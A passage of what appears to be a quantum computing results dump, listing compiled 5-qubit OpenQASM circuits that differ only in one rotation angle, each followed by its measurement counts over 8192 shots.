q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1191', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1009, '0x1': 1343, '0x0': 3331, '0x2': 2509}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1193', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 952, '0x1': 1285, '0x0': 3431, '0x2': 2524}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1195', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 995, '0x1': 1351, '0x0': 3350, '0x2': 2496}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1197', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1020, '0x1': 1286, '0x0': 3379, '0x2': 2507}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1199', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1019, '0x1': 1363, '0x0': 3376, '0x2': 2434}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1201', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1116, '0x1': 1316, '0x0': 3350, '0x2': 2410}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1203', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1078, '0x1': 1332, '0x0': 3381, '0x2': 2401}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1205', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1081, '0x1': 1349, '0x0': 3375, '0x2': 2387}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1207', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1127, '0x1': 1338, '0x0': 3332, '0x2': 2395}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1209', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1164, '0x1': 1412, '0x0': 3331, '0x2': 2285}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1211', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1202, '0x1': 1356, '0x0': 3355, '0x2': 2279}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1213', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1218, '0x1': 1400, '0x0': 3293, '0x2': 2281}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1215', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1267, '0x1': 1364, '0x0': 3370, '0x2': 2191}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1217', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1252, '0x1': 1501, '0x0': 3226, '0x2': 2213}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg 